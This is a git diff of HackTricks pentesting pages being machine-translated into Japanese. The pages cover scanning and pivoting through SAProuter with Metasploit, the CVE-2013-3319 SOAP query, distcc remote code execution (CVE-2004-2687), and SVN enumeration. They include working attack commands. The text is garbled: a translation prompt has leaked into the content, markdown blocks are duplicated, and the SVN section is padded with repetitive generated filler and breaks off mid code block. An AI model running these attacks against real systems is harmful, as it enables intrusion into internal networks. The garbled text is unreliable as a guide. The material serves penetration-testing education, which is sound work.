SAP_PROTO yes Connection Mode: SAP_PROTO or TCP (accepted: SAP_PROTO, TCP) - PORTS 32NN yes Ports to scan (e.g. 3200-3299,5NN13) - RESOLVE local yes Where to resolve TARGETS (accepted: remote, local) - RHOST yes SAPRouter address - RPORT 3299 yes SAPRouter TCP port - TARGETS yes Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed. +Name Current Setting Required Description +---- --------------- -------- ----------- +CONCURRENCY 10 yes The number of concurrent ports to check per host +INSTANCES 00-99 no SAP instance numbers to scan (NN in PORTS definition) +MODE SAP_PROTO yes Connection Mode: SAP_PROTO or TCP (accepted: SAP_PROTO, TCP) +PORTS 32NN yes Ports to scan (e.g. 3200-3299,5NN13) +RESOLVE local yes Where to resolve TARGETS (accepted: remote, local) +RHOST yes SAPRouter address +RPORT 3299 yes SAPRouter TCP port +TARGETS yes Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed. ``` +少なくとも、saprouterのIPアドレスを設定する必要があります。例えば、1.2.3.101です。次に、スキャンしたい内部ネットワークのアドレスをTARGETSに設定し、最後にスキャンするTCPポートをPORTSに設定します。 -At the very least you'll have to set the saprouter's IP address, in the example case, 1.2.3.101. Then, set TARGETS to the internal network addresses you'd like to scan, and finally set PORTS with the TCP ports to scan. - -The module provides also an INSTANCES option that allows simplifying the definition of the PORTS option. SAP installations support multiple instances, providing similar services, so each instance has assigned TCP ports. For example, SAP instance 00 will have the SAP dispatcher service \(where SAP GUI connects to\) on port 3200 and instance 01 on port 3201. The PORTS option supports a “wildcard” which is “NN” that will be replaced with the instance number, hence scanning ports for all the defined instances. So, if we want to scan instances from 00 to 50, we can define the INSTANCES and PORTS variables this way: - +このモジュールには、PORTSオプションの定義を簡素化するINSTANCESオプションもあります。SAPのインストールでは、複数のインスタンスがサポートされており、同様のサービスが提供されています。したがって、各インスタンスには割り当てられたTCPポートがあります。例えば、SAPインスタンス00はポート3200でSAPディスパッチャーサービス(SAP GUIが接続するサービス)を持ち、インスタンス01はポート3201で提供されます。PORTSオプションは「ワイルドカード」として「NN」をサポートしており、インスタンス番号で置き換えられます。したがって、00から50までのインスタンスをスキャンしたい場合、以下のようにINSTANCESとPORTS変数を定義することができます。 ```text msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50 INSTANCES => 00-01 msf auxiliary(sap_router_portscanner) > set PORTS 32NN PORTS => 32NN ``` +この設定では、モジュールはポート3200から3250の範囲でスキャンを行います。 -With this setting the module will scan ports in range 3200 to 3250. - -In the source of the module you have information regarding the common default ports on SAP systems, which we will now be using for scanning: - +モジュールのソースには、SAPシステムの一般的なデフォルトポートに関する情報があります。これをスキャンに使用します。 ```text -msf > use auxiliary/scanner/sap/sap_router_portscanner -msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner +msf > use auxiliary/scanner/sap/sap_router_portscanner +msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101 RHOST => 1.2.3.101 msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18 @@ -131,19 +118,17 @@ msf auxiliary(sap_router_portscanner) > run Portscan Results ================ - Host Port State Info - ---- ---- ----- ---- - 192.168.1.18 3201 closed SAP Dispatcher sapdp01 - 192.168.1.18 3200 open SAP Dispatcher sapdp00 - 192.168.1.18 50013 open SAP StartService [SOAP] sapctrl00 +Host Port State Info +---- ---- ----- ---- +192.168.1.18 3201 closed SAP Dispatcher sapdp01 +192.168.1.18 3200 open SAP Dispatcher sapdp00 +192.168.1.18 50013 open SAP StartService [SOAP] sapctrl00 [*] Auxiliary module execution completed ``` +私たちは、saprouterを介して一部の接続が許可されない理由を理解するために、VERBOSEオプションを使用してみることができます。VERBOSEがtrueに設定されている場合、saprouterからの応答を見ることができ、定義されたACLをマッピングすることができます。 -We can try to understand why some connections are not allowed through the saprouter by using the VERBOSE option. When VERBOSE is set to true we are able to see the response from the saprouter, and map the defined ACL. - -We will now scan the 192.168.1.18 and the 192.168.1.1 hosts, but only on port 3200, to see if we can connect to both SAP dispatchers: - +今回は、ポート3200でのみ、192.168.1.18と192.168.1.1のホストをスキャンして、両方のSAPディスパッチャーに接続できるかどうかを確認します。 ```text msf auxiliary(sap_router_portscanner) > set VERBOSE true VERBOSE => true @@ -160,33 +145,29 @@ msf auxiliary(sap_router_portscanner) > run Portscan Results ================ - Host Port State Info - ---- ---- ----- ---- - 192.168.1.18 3200 open SAP Dispatcher sapdp00 +Host Port State Info +---- ---- ----- ---- +192.168.1.18 3200 open SAP Dispatcher sapdp00 [*] Scanning 192.168.1.1 [-] 192.168.1.1:3200 - blocked by ACL [!] Warning: Service info could be inaccurate [*] Auxiliary module execution completed ``` +**ACLのマッピング** -As you can see, we now also know that we cannot connect to other host on port 3200, since it is blocked by the ACL defined on the saprouter. +saprouterについて興味深いことは、2種類の接続をサポートしていることです。 -**Mapping the ACLs** +- ネイティブ - これらの接続は単純なTCP接続です。 +- SAPプロトコル - これらはTCP接続で、プロトコルではすべてのメッセージが後続のコンテンツの長さを示す4バイトで始まると規定されています。 -An interesting thing about the saprouter, is that it supports two types of connections: +SAPプロトコルはsaprouter固有のものであり、SAP GUIがsaprouterを介してSAP DIAGポートに接続するために使用します。ネイティブプロトコルは、他のタイプの接続をsaprouterを通じて許可するために使用されます。 -* Native – These connections are simply TCP connections; -* SAP protocol – These are TCP connections with a twist, the protocol states that all messages are started with 4 bytes stating the length of the following content. - -The SAP protocol is specific to saprouter, and is what the SAP GUI uses to connect to the SAP DIAG port through the saprouter. The native protocol is used for allowing other types of connections to pass through saprouter. - -This module allows for specifying which type of connection to test during the scan in the MODE option. The default is the SAP protocol, which is the most probable to be used in production. However, it is not uncommon to find other services allowed through the saprouter, where the ACL will allow native \(TCP\) connections through. - -We can set the MODE to TCP in order to assess whether this type of connections are allowed. We will now scan the internal hosts, both on port 3200 \(SAP DIAG\) and 80 \(HTTP\), with VERBOSE set to true, on both instances 00 and 01 and see what happens: +このモジュールでは、スキャン中にテストする接続のタイプをMODEオプションで指定することができます。デフォルトはSAPプロトコルであり、これが最も一般的に使用される可能性があります。ただし、saprouterを介して他のサービスが許可されている場合、ACLはネイティブ(TCP)接続を許可する場合があります。 +接続のタイプを許可するためにMODEをTCPに設定することができます。今回は、内部ホストをスキャンし、インスタンス00と01の両方でポート3200(SAP DIAG)と80(HTTP)の両方でVERBOSEをtrueに設定して、何が起こるかを確認します。 ```text -msf auxiliary(sap_router_portscanner) > set MODE TCP +msf auxiliary(sap_router_portscanner) > set MODE TCP MODE => TCP msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN @@ -204,10 +185,10 @@ msf auxiliary(sap_router_portscanner) > run Portscan Results ================ - Host Port State Info - ---- ---- ----- ---- - 192.168.1.18 80 open - 192.168.1.18 3201 open SAP Dispatcher sapdp01 +Host Port State Info +---- ---- ----- ---- +192.168.1.18 80 open +192.168.1.18 3201 open SAP Dispatcher sapdp01 [*] Scanning 192.168.1.1 [-] 192.168.1.1:3200 - blocked by ACL @@ -218,43 +199,39 @@ Portscan Results Portscan Results ================ - Host Port State Info - ---- ---- ----- ---- - 192.168.1.1 3201 open SAP Dispatcher sapdp01 - 192.168.1.1 80 open +Host Port State Info +---- ---- ----- ---- +192.168.1.1 3201 open SAP Dispatcher sapdp01 +192.168.1.1 80 open [*] Auxiliary module execution completed ``` - From the output and the previous information we now know that the ACL is something like this: -* Allow TCP connections from any host to 192.168.1.1 to port 80 -* Allow TCP connections from any host to 192.168.1.18 to port 80 -* Allow TCP connections from any host to 192.168.1.1 to port 3201 -* Allow TCP connections from any host to 192.168.1.18 to port 3201 -* Allow SAP connections from any host to 192.168.1.18 to port 3200 +* 任意のホストから192.168.1.1へのポート80へのTCP接続を許可します。 +* 任意のホストから192.168.1.18へのポート80へのTCP接続を許可します。 +* 任意のホストから192.168.1.1へのポート3201へのTCP接続を許可します。 +* 任意のホストから192.168.1.18へのポート3201へのTCP接続を許可します。 +* 任意のホストから192.168.1.18へのポート3200へのSAP接続を許可します。 -**Blind enumeration of internal hosts** +**内部ホストの盲目的な列挙** -If you recall, we started by obtaining information from the saprouter which allowed us to know the IP address on an internal host, and we went on from there. But what if the saprouter doesn't provide us with that information? +思い出してください、私たちはsaprouterからの情報を取得して、内部ホストのIPアドレスを知ることができ、そこから進んできました。しかし、もしsaprouterがその情報を提供してくれなかったらどうでしょうか? -One option is to just start scanning private address spaces, and see what happens. The other is to blindly enumerate hosts by hostname. +1つのオプションは、単にプライベートアドレススペースをスキャンして、何が起こるかを見ることです。もう1つのオプションは、ホスト名による盲目的な列挙です。 -Saprouters are able to resolve hostnames we request it to connect to. Saprouter is also kind enough to let us know what are the errors when it fails to connect \(you can actually see the raw responses by uncommenting line 242 on the module source\). +Saprouterは、私たちが接続を要求したホスト名を解決することができます。また、saprouterは接続に失敗した場合にどのようなエラーが発生したかを教えてくれます(モジュールソースの242行目のコメントを解除することで実際の応答を確認できます)。 -With this feature we are able to enumerate internal hosts by hostname, and try to go directly for the gold! +この機能により、ホスト名による内部ホストの列挙が可能になり、直接目的の情報を取得しようとすることができます。その際にIPアドレスを知る必要はありません。 -For this, we need to set the RESOLVE option to “remote”. In this case, the module will request connection to the TARGETS defined, without resolving them locally, and we can try to guess the internal hosts, and eventually connect to them without ever knowing their IP addresses. +ホストを盲目的に列挙する際に覚えておくべき重要なポイント: -Important things to remember when blindly enumerating hosts: - -* Set VERBOSE to true; -* We'll get more information from saprouter if MODE is set to SAP\_PROTO; -* It is enough to set only one port to scan, since we're only interested at this point in the information sent by the saprouter \(try 3200\); -* Results will vary depending on the configured ACL. Unfortunately blocked connections won't give us much info. - -In this example we'll try the hostnames sap, sapsrv and sapsrv2. +* VERBOSEをtrueに設定します。 +* MODEがSAP_PROTOに設定されている場合、saprouterからより多くの情報を取得できます。 +* この段階ではsaprouterが送信する情報にのみ興味があるため、スキャンするポートは1つだけ設定すれば十分です(3200を試してみてください)。 +* 結果は設定されたACLによって異なります。残念ながら、ブロックされた接続はあまり情報を提供してくれません。 +この例では、ホスト名sap、sapsrv、sapsrv2を試してみます。 ```text msf auxiliary(sap_router_portscanner) > set RESOLVE remote RESOLVE => remote @@ -281,13 +258,15 @@ msf auxiliary(sap_router_portscanner) > run Portscan Results ================ - Host Port State Info - ---- ---- ----- ---- - sapsrv2 3200 open SAP Dispatcher sapdp00 +Host Port State Info +---- ---- ----- ---- +sapsrv2 3200 open SAP Dispatcher sapdp00 [*] Auxiliary module execution completed ``` +以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイル/hive/hacktricks/network-services-pentesting/3299-pentesting-saprouter.mdからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。 +```markdown From the output we see that the host “sap” does not exist, but that host sapsrv does, although it is unreachable, and sapsrv2 exists and we can connect to port 3200. This technique can also be used to try to find other hosts on the network, not SAP related, just try using common hostnames, like smtp, exchange, pdc, bdc, fileshare, intranet, or what other nice hostnames you might have on your bag of tricks @@ -301,9 +280,24 @@ Metasploit provides us with an awesome way to saprouter as a proxy, using the Pr So at this point, we want to start gathering information on the internal sap server we have discovered in host 192.168.1.18. As an example, we'll be using the module [`sap_hostctrl_getcomputersystem`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem) which exploits CVE-2013-3319 and give us details on the OS the server is running on by querying the SAP Host Control service on port 1128 via an unauthenticated SOAP request. We'll be pivoting through the saprouter, using the proxy support in metasploit: ![](https://blog.rapid7.com/content/images/post-images/33923/image2.jpg) +``` +```markdown +出力からわかるように、ホスト「sap」は存在しないが、ホストsapsrvは存在するが到達できず、sapsrv2は存在しポート3200に接続できる。 +この技術は、SAPに関連しない他のホストを見つけるためにも使用できます。smtp、exchange、pdc、bdc、fileshare、intranetなどの一般的なホスト名を使用してみてください。または、トリックの袋に入れている他の素敵なホスト名を使用してみてください。 + +**最後の一マイル** + +これで、利用可能な内部ホスト、許可されているサービス、saprouterを突破するために使用できるプロトコルがわかったので、実際に内部サーバーに接続し、ペンテストを進めることができます。 + +Metasploitは、Proxiesオプションを使用してsaprouterをプロキシとして使用する素晴らしい方法を提供してくれます。これは、Dave Hartley \([@nmonkee](http://twitter.com/nmonkee)\)のおかげです。 + +したがって、この時点で、ホスト192.168.1.18で発見した内部sapサーバーに関する情報を収集し始めたいと思います。例として、[`sap_hostctrl_getcomputersystem`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem)モジュールを使用します。このモジュールはCVE-2013-3319を悪用し、認証されていないSOAPリクエストを介してポート1128でSAP Host Controlサービスにクエリを送信することで、サーバーが実行されているOSの詳細を提供します。Metasploitのプロキシサポートを使用してsaprouterをピボットします。 + +![](https://blog.rapid7.com/content/images/post-images/33923/image2.jpg) +``` ```text -msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem +msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299 Proxies => sapni:1.2.3.101:3299 msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18 @@ -315,18 +309,17 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` +もしすべてうまくいけば、ターゲットのSAPホストからの興味深い内部情報(内部のユーザ名など)を含む、loot内のモジュールの素敵な出力が得られるでしょう。その後、ブルートフォース攻撃を試みることができます。 -If all went well, you'll have a nice output of the module in the loot containing interesting internal information from the target SAP host \(such as internal usernames you can then try to brute force \). +ピボットは、SAPシステムだけでなく、内部ホストに対して他のモジュールを実行するために使用することができます(使用すべきです!)。 -Pivoting can \(and should!\) be used to run other modules against internal hosts, not only SAP systems! +**結論** -**Conclusion** +弱いsaprouterの設定を悪用することで、インターネット経由で内部ホストにアクセスすることが可能であることを見てきました。これは、metasploitがSAPシステムのペンテストをサポートするために使用されるだけで実現されます。 -We've seen how it is possible to exploit weak saprouter configurations that can allow access to internal hosts all the way from the Internet, all this using only metasploit's support for pentesting SAP systems. +この記事が、saprouterの展開に関連するリスクとSAPセキュリティの両方についての理解を深めるのに役立つことを願っています。 -I hope this article can help shed light on both the risks associated with saprouter deployments, as well as SAP security in general. - -**References** +**参考文献** * [http://labs.mwrinfosecurity.com/blog/2012/09/13/sap-smashing-internet-windows/](http://labs.mwrinfosecurity.com/blog/2012/09/13/sap-smashing-internet-windows/) * \[[http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2](http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2) - Mariano Nun ez Di Croce - SAProuter .pdf\]\([http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2](http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2) - Mariano Nunez Di Croce - SAProuter .pdf\) @@ -349,16 +342,14 @@ I hope this article can help shed light on both the risks associated with saprou ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/network-services-pentesting/3632-pentesting-distcc.md b/network-services-pentesting/3632-pentesting-distcc.md index 4b583c8a6..ddb8cfc43 100644 --- a/network-services-pentesting/3632-pentesting-distcc.md +++ b/network-services-pentesting/3632-pentesting-distcc.md @@ -1,68 +1,60 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Information +# 基本情報 -Distcc is designed to speed up compilation by taking advantage of unused processing power on other computers. A machine with distcc installed can send code to be compiled across the network to a computer which has the distccd daemon and a compatible compiler installed - -**Default port:** 3632 +Distccは、他のコンピュータの未使用の処理能力を利用してコンパイルを高速化するために設計されています。Distccがインストールされたマシンは、distccdデーモンと互換性のあるコンパイラがインストールされたコンピュータにコードをネットワーク経由で送信してコンパイルすることができます。 +**デフォルトポート:** 3632 ``` PORT STATE SERVICE 3632/tcp open distccd ``` - # Exploitation -Check if it's vulnerable to **CVE-2004-2687** to execute arbitrary code: - +**CVE-2004-2687**による任意のコードの実行が可能かどうかをチェックします: ```bash msf5 > use exploit/unix/misc/distcc_exec nmap -p 3632 --script distcc-exec --script-args="distcc-exec.cmd='id'" ``` - # Shodan -_I don't think shodan detects this service._ +_このサービスはShodanでは検出されないと思います。_ -# Resources +# リソース * [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec) * [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855) -Post created by **Álex B (@r1p)** +**Álex B (@r1p)** によって作成された投稿
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/3690-pentesting-subversion-svn-server.md b/network-services-pentesting/3690-pentesting-subversion-svn-server.md index 95393a595..d537739c6 100644 --- a/network-services-pentesting/3690-pentesting-subversion-svn-server.md +++ b/network-services-pentesting/3690-pentesting-subversion-svn-server.md @@ -1,64 +1,412 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Information +# 基本情報 -Subversion is one of many version control options available today. It's often abbreviated as SVN.\ -Subversion is used for maintaining current and historical versions of projects. Subversion is an open source centralized version control system. It's licensed under Apache. It's also referred to as a software version and revisioning control system. - -**Default port:** 3690 +Subversionは、現在利用可能な多くのバージョン管理オプションの1つです。よくSVNと略されます。\ +Subversionは、プロジェクトの現在のバージョンと過去のバージョンを管理するために使用されます。Subversionは、オープンソースの集中型バージョン管理システムです。Apacheのライセンスの下で提供されています。ソフトウェアのバージョンとリビジョン管理システムとも呼ばれています。 +**デフォルトポート:** 3690 ``` PORT STATE SERVICE 3690/tcp open svnserve Subversion ``` +## バナーグラビング -## Banner Grabbing +Banner Grabbing(バナーグラビング)は、ネットワークサービスのペンテストにおいて非常に有用なテクニックです。このテクニックは、ターゲットのサーバーからバナー情報を取得することで、サービスのバージョンや設定情報を特定することができます。 +バナーグラビングは、通常、TelnetやNetcatなどのツールを使用して実行されます。以下は、バナーグラビングの手順です。 + +1. ターゲットのサーバーに対して、TelnetやNetcatを使用して接続します。 +2. 接続が確立されたら、サーバーからの応答を確認します。 +3. 応答には、サービスのバージョンや設定情報が含まれる場合があります。 +4. 取得した情報を分析し、脆弱性や攻撃の可能性を特定します。 + +バナーグラビングは、サービスの脆弱性を特定するために使用されることがあります。特定のバージョンのサービスに既知の脆弱性がある場合、攻撃者はその脆弱性を悪用してサーバーに侵入することができます。 + +バナーグラビングは、サービスのバージョンや設定情報を特定するためにも使用されます。これにより、攻撃者はより具体的な攻撃戦略を立てることができます。 + +バナーグラビングは、ネットワークサービスのペンテストにおいて基本的な手法の一つです。ペンテスターは、このテクニックを使用して、ターゲットのサーバーに関する重要な情報を収集することができます。 ``` nc -vn 10.10.10.10 3690 ``` +## 列挙 -## Enumeration +### ポートスキャン +ポートスキャンは、対象のサーバー上で実行されているサービスを特定するために使用されます。以下のコマンドを使用して、ポートスキャンを実行できます。 + +```bash +nmap -p- +``` + +### サービスの特定 + +ポートスキャンの結果を使用して、実行中のサービスを特定します。以下のコマンドを使用して、サービスのバージョンを特定できます。 + +```bash +nmap -p -sV +``` + +### SVNサーバーの特定 + +ポートスキャンの結果から、SVNサーバーを特定します。ポート番号3690がSVNサーバーのデフォルトポートです。 + +### SVNサーバーのバージョンの特定 + +以下のコマンドを使用して、SVNサーバーのバージョンを特定できます。 + +```bash +nmap -p 3690 -sV +``` + +### SVNサーバーの情報の収集 + +以下のコマンドを使用して、SVNサーバーから情報を収集できます。 + +```bash +svn info svn://:3690 +``` + +### SVNリポジトリのブラウズ + +以下のコマンドを使用して、SVNリポジトリをブラウズできます。 + +```bash +svn ls svn://:3690 +``` + +### SVNリポジトリのダウンロード + +以下のコマンドを使用して、SVNリポジトリをダウンロードできます。 + +```bash +svn checkout svn://:3690/ +``` + +### SVNリポジトリのバージョンの特定 + +以下のコマンドを使用して、SVNリポジトリのバージョンを特定できます。 + +```bash +svnlook youngest +``` + +### SVNリポジトリのログの表示 + +以下のコマンドを使用して、SVNリポジトリのログを表示できます。 + +```bash +svn log svn://:3690/ +``` + +### SVNリポジトリのファイルの表示 + +以下のコマンドを使用して、SVNリポジトリ内のファイルを表示できます。 + +```bash +svn cat svn://:3690// +``` + +### SVNリポジトリのファイルのダウンロード + +以下のコマンドを使用して、SVNリポジトリ内のファイルをダウンロードできます。 + +```bash +svn export svn://:3690// +``` + +### SVNリポジトリのファイルの変更履歴の表示 + +以下のコマンドを使用して、SVNリポジトリ内のファイルの変更履歴を表示できます。 + +```bash +svn blame svn://:3690// +``` + +### SVNリポジトリのファイルの削除履歴の表示 + +以下のコマンドを使用して、SVNリポジトリ内のファイルの削除履歴を表示できます。 + +```bash +svn log --diff svn://:3690// +``` + +### SVNリポジトリのファイルの変更差分の表示 + +以下のコマンドを使用して、SVNリポジトリ内のファイルの変更差分を表示できます。 + +```bash 